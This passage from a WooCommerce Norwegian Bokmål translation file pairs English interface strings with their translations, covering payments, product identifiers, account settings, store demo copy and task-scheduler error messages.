msgstr "Betalinger på en enkel måte, uten månedlige avgifter - designet eksklusivt for WooCommerce-butikker. Aksepter kredittkort, debetkort og andre populære betalingsmåter."
#: src/Internal/Admin/WCPayPromotion/DefaultPromotions.php:29
msgid "Payments made simple — including WooPay, a new express checkout feature."
msgstr "Betalinger på en enkel måte, inkludert WooPay, en ny ekspresskassefunksjon."
#: src/Internal/Admin/ImportExport/CSVUploadHelper.php:124
msgid "Invalid file type for a CSV import."
msgstr "Ugyldig filtype for CSV-import."
#: src/Admin/Features/Blueprint/RestApi.php:79
msgid "A list of plugins to install"
msgstr "En liste over utvidelser som skal installeres"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:600
msgid "System status theme info cache cleared."
msgstr "Mellomlager for malinformasjon ble tømt."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:193
msgid "This tool will empty the system status theme info cache."
msgstr "Dette verktøyet tømmer mellomlager for malinformasjon."
#. translators: %s is a placeholder for a URL.
#: includes/gateways/paypal/includes/settings-paypal.php:104
msgid "Log PayPal events such as IPN requests and review them on the <a href=\"%s\">Logs screen</a>. Note: this may log personal information. We recommend using this for debugging purposes only and deleting the logs when finished."
msgstr "Logg PayPal-hendelser, for eksempel IPN-forespørsler, og gå gjennom dem på <a href=\"%s\">loggsiden</a>. Merk: Dette kan logge personlig informasjon. Vi anbefaler at man kun bruker dette til feilsøking, og at loggene slettes når man er ferdig."
#. translators: %s: Product title
#: includes/class-wc-product-simple.php:90
msgid "“%s” has been added to your cart"
msgstr "«%s» ble lagt til i handlekurven"
#: includes/admin/views/html-admin-page-status-report.php:1098
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:188
msgid "Clear system status theme info cache"
msgstr "Tøm mellomlager for malinformasjon"
#. translators: %1$s GTIN %2$s UPC %3$s EAN %4$s ISBN.
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:36
#: includes/admin/meta-boxes/views/html-variation-admin.php:102
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:347
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:784
msgid "ISBN"
msgstr "ISBN"
#. translators: %1$s GTIN %2$s UPC %3$s EAN %4$s ISBN.
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:36
#: includes/admin/meta-boxes/views/html-variation-admin.php:102
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:347
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:784
msgid "International Standard Book Number"
msgstr "Internasjonalt standard boknummer"
#. translators: %1$s GTIN %2$s UPC %3$s EAN %4$s ISBN.
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:36
#: includes/admin/meta-boxes/views/html-variation-admin.php:102
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:347
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:784
msgid "EAN"
msgstr "EAN"
#. translators: %1$s GTIN %2$s UPC %3$s EAN %4$s ISBN.
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:36
#: includes/admin/meta-boxes/views/html-variation-admin.php:102
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:347
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:784
msgid "European Article Number"
msgstr "Europeisk produktnummer"
#. translators: %1$s GTIN %2$s UPC %3$s EAN %4$s ISBN.
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:36
#: includes/admin/meta-boxes/views/html-variation-admin.php:102
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:347
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:784
msgid "UPC"
msgstr "UPC"
#. translators: %1$s GTIN %2$s UPC %3$s EAN %4$s ISBN.
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:36
#: includes/admin/meta-boxes/views/html-variation-admin.php:102
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:347
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:784
msgid "Universal Product Code"
msgstr "Universell produktkode"
#. translators: %1$s GTIN %2$s UPC %3$s EAN %4$s ISBN.
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:36
#: includes/admin/meta-boxes/views/html-variation-admin.php:102
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:347
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:784
msgid "GTIN"
msgstr "GTIN"
#. translators: %1$s GTIN %2$s UPC %3$s EAN %4$s ISBN.
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:36
#: includes/admin/meta-boxes/views/html-variation-admin.php:102
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:347
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:784
msgid "Global Trade Item Number"
msgstr "Globalt produkthandelnummer"
#. translators: %1$s GTIN %2$s UPC %3$s EAN %4$s ISBN.
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:36
#: includes/admin/meta-boxes/views/html-variation-admin.php:102
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:347
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:784
msgid "%1$s, %2$s, %3$s, or %4$s"
msgstr "%1$s, %2$s, %3$s, eller %4$s"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:122
msgid "File path provided for import is invalid."
msgstr "Filstien som ble oppgitt for import er ugyldig."
#. translators: %s: Site title
#. translators: Store name
#. translators: %s: site name
#: src/Blocks/BlockTypes/OrderConfirmation/CreateAccount.php:63
#: assets/client/blocks/checkout-frontend.js:2
#: assets/client/blocks/checkout.js:19
#: assets/client/blocks/order-confirmation-create-account.js:3
msgid "Create an account with %s"
msgstr "Opprett en konto med %s"
#. translators: %s: Address title
#: templates/myaccount/my-address.php:67
msgid "Add %s"
msgstr "Legg til %s"
#: includes/wc-user-functions.php:95
msgid "Please create a password for your account."
msgstr "Opprett et passord for kontoen din."
#. Translators: %s Email address.
#: includes/wc-user-functions.php:66
msgid "An account is already registered with %s. Please log in or use a different email address."
msgstr "Det finnes allerede en registrert konto med e-postadressen %s. Logg inn eller bruk en annen e-postadresse."
#: src/StoreApi/Routes/V1/Checkout.php:105
msgid "Customer password for new accounts, if applicable."
msgstr "Kundepassord for nye kontoer, hvis aktuelt."
#: src/Internal/Features/FeaturesController.php:415
msgid "Remote Logging"
msgstr "Ekstern logging"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:550
msgid "Drive sales with Google for WooCommerce"
msgstr "Øk salget med Google for WooCommerce"
#. translators: 1: opening product link tag. 2: closing link tag
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:114
msgid "Drive sales with %1$sGoogle for WooCommerce%2$s"
msgstr "Øk salget med %1$sGoogle for WooCommerce%2$s"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:111
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:134
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "Google for WooCommerce"
msgstr "Google for WooCommerce"
#. translators: $1$d = plugins count, %2$s = colon (if list follows) or empty.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1277
msgid ""
"\n"
"%%C%1$d%%n uncertain plugin found%2$s"
msgid_plural ""
"\n"
"%%C%1$d%%n uncertain plugins found%2$s"
msgstr[0] ""
"\n"
"%%C%1$d%%n usikker utvidelse funnet%2$s"
msgstr[1] ""
"\n"
"%%C%1$d%%n usikre utvidelser funnet%2$s"
#. translators: $1$d = plugins count, %2$s = colon (if list follows) or empty.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1265
msgid ""
"\n"
"%%C%1$d%%n incompatible plugin found%2$s"
msgid_plural ""
"\n"
"%%C%1$d%%n incompatible plugins found%2$s"
msgstr[0] ""
"\n"
"%%C%1$d%%n inkompatibel utvidelse funnet%2$s"
msgstr[1] ""
"\n"
"%%C%1$d%%n inkompatible utvidelser funnet%2$s"
#. translators: $1$d = plugins count, %2$s = colon (if list follows) or empty.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1253
msgid ""
"\n"
"%%C%1$d%%n compatible plugin found%2$s"
msgid_plural ""
"\n"
"%%C%1$d%%n compatible plugins found%2$s"
msgstr[0] ""
"\n"
"%%C%1$d%%n kompatibel utvidelse funnet%2$s"
msgstr[1] ""
"\n"
"%%C%1$d%%n kompatible utvidelser funnet%2$s"
#. translators: %s is a generated error message.
#: src/Blocks/Patterns/PTKPatternsStore.php:230
msgid "Failed to get WooCommerce patterns from the PTK: \"%s\""
msgstr "Kunne ikke hente WooCommerce-mønstre fra PTK: \"%s\""
#: src/Blocks/Patterns/PatternRegistry.php:28
msgid "Social Media"
msgstr "Sosiale medier"
#: src/Blocks/Patterns/PatternRegistry.php:26
msgid "Featured Selling"
msgstr "Fremhevet salg"
#: patterns/featured-category-cover-image.php:12
msgid "Shop chairs"
msgstr "Kjøp stoler"
#: patterns/featured-category-cover-image.php:11
msgid "With a wide range of designer chairs to elevate your living space."
msgstr "Med et bredt utvalg av designerstoler som kan løfte hjemmet ditt."
#: patterns/featured-category-cover-image.php:10
msgid "Sit back and relax"
msgstr "Len deg tilbake og slapp av"
#: patterns/testimonials-single.php:10
msgid "Exceptional flavors, sustainable choices. The carefully curated collection of coffee pots and accessories turned my kitchen into a haven of style and taste."
msgstr "Eksepsjonelle smaker, bærekraftige valg. Den nøye utvalgte kolleksjonen av kaffekanner og tilbehør har gjort kjøkkenet mitt til en oase av stil og smak."
#: patterns/testimonials-single.php:9
msgid "A ‘brewtiful’ experience :-)"
msgstr "En \"bryggeskjønn\" opplevelse :-)"
#: patterns/testimonials-3-columns.php:14
msgid "From sustainably sourced teas to chic vases, this store is a treasure trove. Love knowing my purchases contribute to a greener planet."
msgstr "Denne butikken er et skattkammer med alt fra bærekraftig te til elegante vaser. Jeg elsker å vite at kjøpene mine bidrar til en grønnere planet."
#: patterns/testimonials-3-columns.php:13
msgid "The organic coffee beans are a revelation. Each sip feels like a journey. Beautifully crafted accessories add a touch of elegance to my home."
msgstr "De økologiske kaffebønnene er en åpenbaring. Hver slurk føles som en reise. Vakkert utformet tilbehør tilfører hjemmet mitt et snev av eleganse."
#: patterns/testimonials-3-columns.php:12
msgid "Transformed my daily routine with unique, eco-friendly treasures. Exceptional quality and service. Proud to support a store that aligns with my values."
msgstr "Forvandlet min daglige rutine med unike miljøvennlige skatter. Eksepsjonell kvalitet og service. Jeg er stolt av å støtte en butikk som er i tråd med mine verdier."
#: patterns/testimonials-3-columns.php:8
msgid "What our customers say"
msgstr "Hva kundene våre sier"
#: patterns/testimonials-3-columns.php:11
msgid "LOCAL LOVE"
msgstr "LOKAL KJÆRLIGHET"
#: patterns/testimonials-3-columns.php:10
msgid "Sip, Shop, Savor"
msgstr "Smak, kjøp, nyt"
#: patterns/testimonials-3-columns.php:9
msgid "Eclectic finds, ethical delights"
msgstr "Eklektiske funn, etiske herligheter"
#: patterns/social-follow-us-in-social-media.php:13
msgid "Stay in the loop"
msgstr "Hold deg oppdatert"
#: patterns/product-query-product-gallery.php:9
msgid "Bestsellers"
msgstr "Bestselgere"
#: patterns/product-collection-5-columns.php:8
msgid "Our latest and greatest"
msgstr "Våre nyeste og beste"
#: patterns/product-collection-4-columns.php:8
msgid "Staff picks"
msgstr "Medarbeidernes valg"
#: patterns/just-arrived-full-hero.php:9
msgid "Experience your music like never before with our latest generation of hi-fidelity headphones."
msgstr "Opplev musikken din som aldri før med vår nyeste generasjon hodetelefoner med høy kvalitet."
#: patterns/just-arrived-full-hero.php:8
msgid "Sound like no other"
msgstr "Lyd som ingen andre"
#: patterns/hero-product-split.php:9
msgid "Keep dry with 50% off rain jackets"
msgstr "Hold deg tørr med 50 % rabatt på regnjakker"
#: patterns/hero-product-chessboard.php:20
msgid "Shop home decor"
msgstr "Kjøp boligdekorasjon"
#: patterns/hero-product-chessboard.php:18
msgid "Add a touch of charm and coziness this holiday season with a wide selection of hand-picked decorations — from minimalist vases to designer furniture."
msgstr "Tilfør et snev av sjarm og hygge denne høytiden, med et bredt utvalg av håndplukkede dekorasjoner - fra minimalistiske vaser til designmøbler."
#: patterns/hero-product-chessboard.php:17
msgid "From bold prints to intricate details, our products are a perfect combination of style and function."
msgstr "Produktene våre er en perfekt kombinasjon av stil og funksjon, med alt fra dristige trykk til intrikate detaljer."
#: patterns/hero-product-chessboard.php:14
msgid "Make your house feel like home"
msgstr "Få huset ditt til å føles som hjemme"
#: patterns/hero-product-chessboard.php:13
msgid "Unique design"
msgstr "Unikt design"
#: patterns/hero-product-chessboard.php:12
msgid "Quality Materials"
msgstr "Kvalitetsmaterialer"
#: patterns/hero-product-3-split.php:16
msgid "The Retro Glass Jug's classic silhouette effortlessly complements any setting, making it the ideal choice for serving beverages with style and flair."
msgstr "Den klassiske silhuetten til denne retro glasskannen passer inn i ethvert miljø, noe som gjør den til det ideelle valget for servering av drikkevarer med stil og klasse."
#: patterns/hero-product-3-split.php:15
msgid "Crafted from resilient thick glass, this jug ensures lasting quality, making it perfect for everyday use with a touch of vintage charm."
msgstr "Denne kannen er laget av et spenstig tykt glass, som sikrer varig kvalitet, noe som gjør den perfekt for daglig bruk med et snev av vintage sjarm."
#: patterns/hero-product-3-split.php:14
msgid "Elevate your table with a 330ml Retro Glass Jug, blending classic design and durable hardened glass."
msgstr "Gi bordet ditt et løft med en 330 ml retro glasskanne, som kombinerer klassisk design og slitesterkt herdet glass."
#: patterns/hero-product-3-split.php:9
msgid "New: Retro Glass Jug"
msgstr "Ny: Retro glasskanne"
#: patterns/hero-product-3-split.php:12
msgid "Versatile charm"
msgstr "Allsidig sjarm"
#: patterns/hero-product-3-split.php:11
msgid "Durable glass"
msgstr "Slitesterkt glass"
#: patterns/hero-product-3-split.php:10
msgid "Timeless elegance"
msgstr "Tidløs eleganse"
#: patterns/featured-category-triple.php:14
msgid "Handmade gifts"
msgstr "Håndlagde gaver"
#: patterns/featured-category-triple.php:13
msgid "Retro photography"
msgstr "Retrofotografering"
#: patterns/featured-category-triple.php:12
msgid "Home decor"
msgstr "Innredning til hjemmet"
#: patterns/banner.php:10
msgid "Shop vinyl records"
msgstr "Kjøp vinylplater"
#: patterns/banner.php:12
msgid "Get your favorite vinyl at record-breaking prices."
msgstr "Få favorittvinylen din til rekordlave priser."
#: patterns/banner.php:11
msgid "Holiday Sale"
msgstr "Sesongtilbud"
#: patterns/banner.php:9
msgid "Up to 60% off"
msgstr "Opptil 60% rabatt"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:306
msgid "Inbox notification has been deleted"
msgstr "Innboksvarsel ble slettet"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:302
msgid "Inbox notification not found"
msgstr "Innboksvarsel ble ikke funnet"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:296
msgid "No inbox notification selected"
msgstr "Ingen innboksvarsel valgt"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:290
msgid "Search for an inbox notification…"
msgstr "Søk etter et innboksvarsel…"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:286
msgid "Select an inbox notification to delete:"
msgstr "Velg et innboksvarsel som skal slettes:"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:284
msgid "This will delete an inbox notification by slug"
msgstr "Dette vil slette et innboksvarsel etter identifikator"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:282
msgid "Delete an Inbox Notification"
msgstr "Slett et innboksvarsel"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:277
msgid "Remote inbox notifications have been refreshed"
msgstr "Eksterne innboksvarsler har blitt oppfrisket"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:272
msgid "This will refresh the remote inbox notifications"
msgstr "Dette vil oppfriske de eksterne innboksvarslene"
#: src/Admin/RemoteInboxNotifications/RemoteInboxNotificationsEngine.php:270
msgid "Refresh Remote Inbox Notifications"
msgstr "Oppfrisk eksterne innboksvarsler"
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:898
msgid "The world’s favorite buy now, pay later options and many more are right at your fingertips with WooPayments — all from one dashboard, without needing multiple extensions and logins."
msgstr "Verdens favorittalternativer for kjøp nå, betal senere og mange flere er lett tilgjengelig med WooPayments - alt fra ett kontrollpanel, uten behov for flere utvidelser og pålogginger."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:897
msgid "Activate BNPL instantly on WooPayments"
msgstr "Aktiver BNPL umiddelbart på WooPayments"
#: src/Admin/Features/OnboardingTasks/Tasks/ExtendStore.php:26
msgid "Enhance your store with extensions"
msgstr "Forbedre butikken deres med utvidelser"
#: src/Admin/API/Reports/Orders/Controller.php:471
msgid "Net Sales"
msgstr "Nettosalg"
#: src/Admin/API/Leaderboards.php:590
msgid "Table cell format."
msgstr "Tabellcelleformat."
#: patterns/intro-centered-content-with-image-below.php:11
msgid "Explore our exclusive collection of sunglasses, crafted to elevate your look and safeguard your eyes. Find your perfect pair and see the world through a new lens."
msgstr "Utforsk vår eksklusive kolleksjon av solbriller, som er laget for å fremheve utseendet ditt og beskytte øynene dine. Finn det perfekte paret og se verden gjennom nye briller."
#: patterns/intro-centered-content-with-image-below.php:10
msgid "Find your shade"
msgstr "Finn din egen nyanse"
#: patterns/heading-with-three-columns-of-content-with-link.php:9
#: patterns/three-columns-with-images-and-content.php:10
msgid "Our services"
msgstr "Våre tjenester"
#: patterns/four-image-grid-content-left.php:10
#: patterns/heading-with-three-columns-of-content-with-link.php:11
#: patterns/three-columns-with-images-and-content.php:12
msgid "Navigating life's intricate fabric, choices unfold paths to the extraordinary, demanding creativity, curiosity, and courage for a truly fulfilling journey."
msgstr "Når du navigerer i livets intrikate vev åpner valgene veier til det ekstraordinære, og krever kreativitet, nysgjerrighet og mot for å gi deg en virkelig tilfredsstillende reise."
#: patterns/four-image-grid-content-left.php:9
#: patterns/heading-with-three-columns-of-content-with-link.php:10
#: patterns/three-columns-with-images-and-content.php:11
msgid "Create anything"
msgstr "Skap hva som helst"
#: patterns/content-right-image-left.php:13
msgid "Meet us"
msgstr "Møt oss"
#: patterns/content-right-image-left.php:12
msgid "Our passion is crafting mindful moments with locally sourced, organic, and sustainable products. We're more than a store; we're your path to a community-driven, eco-friendly lifestyle that embraces premium quality."
msgstr "Vår lidenskap er å skape oppmerksomme øyeblikk med lokale, økologiske og bærekraftige produkter. Vi er mer enn en butikk, vi er din vei til en samfunndrevet, miljøvennlig livsstil som omfavner førsteklasses kvalitet."
#: patterns/content-right-image-left.php:11
msgid "Committed to a greener lifestyle"
msgstr "Forpliktet til en grønnere livsstil"
#. translators: %s is the action ID
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1300
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:1004
msgid "Unidentified action %s: we were unable to mark this action as having completed. It may may have been deleted by another process."
msgstr "Uidentifisert handling %s: Vi klarte ikke å merke denne handlingen som fullført. Den kan ha blitt slettet av en annen prosess."
#. translators: %s is the action ID
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1232
msgid "Unidentified action %s: we were unable to mark this action as having failed. It may may have been deleted by another process."
msgstr "Uidentifisert handling %s: Vi klarte ikke å merke denne handlingen som feilet. Den kan ha blitt slettet av en annen prosess."
#. translators: %s is the action ID
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:838
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:564
msgid "Unidentified action %s: we were unable to determine the date of this action. It may may have been deleted by another process."
msgstr "Uidentifisert handling %s: Vi klarte ikke å fastslå dato for denne handlingen. Den kan ha blitt slettet av en annen prosess."
#. translators: %s is the action ID
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:801
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:534
msgid "Unidentified action %s: we were unable to delete this action. It may may have been deleted by another process."
msgstr "Uidentifisert handling %s: Vi klarte ikke å slette denne handlingen. Den kan ha blitt slettet av en annen prosess."
#. translators: %s: action ID
#. translators: %s is the action ID
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:699
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:515
msgid "Unidentified action %s: we were unable to cancel this action. It may may have been deleted by another process."
msgstr "Uidentifisert handling %s: Vi klarte ikke å avbryte denne handlingen. Den kan ha blitt slettet av en annen prosess."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1621
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:570
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1256
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1262
msgid "GTIN, UPC, EAN or ISBN."
msgstr "GTIN, UPC, EAN eller ISBN."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:565
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1251
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1257
msgid "Stock Keeping Unit."
msgstr "Produktnummer"
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-custom-fields-controller.php:150
msgid "Order sort items ascending or descending."
msgstr "Ordne sorteringselementene stigende eller synkende"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:571
msgid "Legacy REST API enabled?"
msgstr "Legacy REST API slått på?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:340
msgid "An unexpected error occurred while generating the refund."
msgstr "Det oppsto en uventet feil under genereringen av refusjonen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-tax-classes-v1-controller.php:221
#: includes/rest-api/Controllers/Version2/class-wc-rest-tax-classes-v2-controller.php:101
msgid "Invalid slug."
msgstr "Ugyldig identifikator."
#. translators: %s is a comma separated list of query arguments.
#: includes/data-stores/class-wc-order-data-store-cpt.php:1116
msgid "Order query argument (%s) is not supported on the current order datastore."
msgid_plural "Order query arguments (%s) are not supported on the current order datastore."
msgstr[0] "Ordespørringsargumentet (%s) er ikke støttet i dette ordredatalageret."
msgstr[1] "Ordespørringsargumentene (%s) er ikke støttet i dette ordredatalageret."
#: includes/admin/views/html-admin-page-status-report.php:704
msgid "Does your site have the Legacy REST API enabled?"
msgstr "Har nettstedet deres Legacy REST API slått på?"
#: includes/admin/views/html-admin-page-status-report.php:703
msgid "Legacy API enabled"
msgstr "Legacy API er slått på"
#. translators: %s: Local pickup settings page URL.
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:248
msgid "Local pickup: Manage existing pickup locations in the <a href=\"%s\">Local pickup settings page</a>."
msgstr "Lokal henting: Administrer eksisterende hentesteder på siden <a href=\"%s\">Innstillinger for lokal henting</a>."
#. Translators: 1: opening link tag 2: closing link tag.
#: includes/admin/settings/class-wc-settings-products.php:468
msgid "Repeat fetches made within a reasonable window of time (by default, 30 minutes) will not be counted twice. This is a generally reasonably way to enforce download limits in relation to ranged requests. %1$sLearn more.%2$s"
msgstr "Gjentatte nedlastinger som gjøres innenfor et rimelig tidsvindu (som standard 30 minutter), telles ikke to ganger. Dette er generelt en rimelig måte å håndheve nedlastingsgrenser på i forhold til ulike forespørsler. %1$sLær mer.%2$s"
#: includes/admin/settings/class-wc-settings-products.php:462
msgid "Count downloads even if only part of a file is fetched."
msgstr "Tell nedlastinger selv om bare deler av en fil hentes."
#: includes/admin/settings/class-wc-settings-products.php:461
msgid "Count partial downloads"
msgstr "Tell delvise nedlastinger"
#: includes/admin/settings/class-wc-settings-accounts.php:122
msgid "New users receive an email to set up their password."
msgstr "Nye brukere mottar en e-post for å sette opp passordet sitt."
#: includes/admin/settings/class-wc-settings-accounts.php:121
msgid "Send password setup link (recommended)"
msgstr "Send lenke til passordoppsett (anbefalt)"
#: includes/admin/settings/class-wc-settings-accounts.php:135
msgid "If unchecked, customers will need to set a username during account creation."
msgstr "Hvis dette ikke er krysset av må kundene angi et brukernavn når de oppretter en konto."
#: includes/admin/settings/class-wc-settings-accounts.php:134
msgid "Use email address as account login (recommended)"
msgstr "Bruk e-postadresse som kontoinnlogging (anbefalt)"
#: includes/admin/settings/class-wc-settings-accounts.php:120
#: includes/admin/settings/class-wc-settings-accounts.php:133
msgid "Account creation options"
msgstr "Alternativer for kontoopprettelse"
#: includes/admin/settings/class-wc-settings-accounts.php:112
msgid "On \"My account\" page"
msgstr "På \"Min konto\"-siden"
#: includes/admin/settings/class-wc-settings-accounts.php:98
#: includes/admin/settings/class-wc-settings-accounts.php:292
msgid "Allow customers to create an account"
msgstr "Tillat kundene å opprette en konto"
#: includes/admin/settings/class-wc-settings-accounts.php:103
msgid "Customers can create an account before placing their order."
msgstr "Kundene kan opprette en konto før de legger inn ordren."
#: includes/admin/settings/class-wc-settings-accounts.php:102
msgid "During checkout"
msgstr "I kassen"
#: includes/admin/settings/class-wc-settings-accounts.php:74
msgid "Enable log-in during checkout"
msgstr "Aktiver innlogging i kassen"
#: includes/admin/settings/class-wc-settings-accounts.php:64
msgid "Enable guest checkout (recommended)"
msgstr "Aktiver gjesteutsjekking (anbefalt)"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:38
#: includes/admin/meta-boxes/views/html-variation-admin.php:104
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:348
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:785
msgid "Enter a barcode or any other identifier unique to this product. It can help you list this product on other channels or marketplaces."
msgstr "Angi en strekkode eller en annen identifikator som er unik for dette produktet. Det kan hjelpe deg med å liste dette produktet på andre kanaler eller markedsplasser."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:793
#: includes/export/class-wc-product-csv-exporter.php:132
msgid "GTIN, UPC, EAN, or ISBN"
msgstr "GTIN, UPC, EAN eller ISBN"
#: includes/admin/meta-boxes/views/html-order-shipping.php:112
msgid "Delete shipping"
msgstr "Slett frakt"
#: includes/admin/meta-boxes/views/html-order-shipping.php:112
msgid "Edit shipping"
msgstr "Rediger levering"
#: includes/admin/meta-boxes/views/html-order-fee.php:81
msgid "Delete fee"
msgstr "Slett gebyr"
#: includes/admin/meta-boxes/views/html-order-fee.php:81
msgid "Edit fee"
msgstr "Rediger gebyr"
#: includes/admin/class-wc-admin-post-types.php:283
msgid "This coupon is password protected. WooCommerce does not support password protection for coupons. You can temporarily hide a coupon by making it private. Alternatively, usage limits and restrictions can be configured below."
msgstr "Denne rabattkoden er passordbeskyttet. WooCommerce støtter ikke passordbeskyttelse for rabattkoder. Du kan skjule en rabattkode midlertidig ved å gjøre den privat. Alternativt kan du konfigurere bruksgrenser og begrensninger nedenfor."
#: includes/admin/class-wc-admin-assets.php:428
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:351
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:788
msgid "Please enter only numbers and hyphens (-)."
msgstr "Skriv kun inn tall og bindestreker (-)."
#: includes/abstracts/abstract-wc-product.php:887
#: assets/client/admin/product-editor/index.js:2
msgid "Invalid or duplicated GTIN, UPC, EAN or ISBN."
msgstr "Ugyldig eller duplisert GTIN, UPC, EAN eller ISBN."
#: src/Blocks/Patterns/PatternRegistry.php:29
#: assets/client/admin/chunks/customize-store.js:1
msgid "Services"
msgstr "Tjenester"
#: src/Blocks/Patterns/PatternRegistry.php:25
#: assets/client/admin/chunks/customize-store.js:1
msgid "Intro"
msgstr "Introduksjon"
#: templates/product-form/simple.php:26 templates/product-form/simple.php:27
msgid "Translatable Label"
msgstr "Oversettbar etikett"
#. translators: %s: the order number, usually accompanied by a leading
#: templates/myaccount/orders.php:56
msgid "View order number %s"
msgstr "Vis ordrenummer %s"
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:783
msgid "This setting only works when product data is stored in the posts table."
msgstr "Denne innstillingen fungerer bare når produktdata er lagret i innleggstabellen."
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:782
msgid "Uses much more performant queries to update the lookup table, but may not be compatible with some extensions."
msgstr "Bruker mye mer effektive spørringer for å oppdatere oppslagstabellen, men er kanskje ikke kompatibel med alle utvidelser."
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:781
msgid "Optimized updates"
msgstr "Optimaliserte oppdateringer"
#: src/Internal/Admin/Orders/ListTable.php:1234
msgid "Orders are automatically put in the Refunded status when an admin or shop manager has fully refunded the order’s value after payment."
msgstr "Ordrer settes automatisk til Refundert-status når en administrator eller butikkadministrator har refundert hele ordrens verdi etter betaling."
#: src/Internal/Admin/Orders/ListTable.php:1233
msgid "The order was canceled by an admin or the customer."
msgstr "Ordren ble kansellert av en administrator eller kunden."
#: src/Internal/Admin/Orders/ListTable.php:1232
msgid "Draft orders are created when customers start the checkout process while the block version of the checkout is in place."
msgstr "Ordreutkast opprettes når kundene starter betalingsprosessen mens blokkversjonen av kassen er i bruk."
#: src/Internal/Admin/Orders/ListTable.php:1231
msgid "The customer’s payment failed or was declined, and no payment has been successfully made."
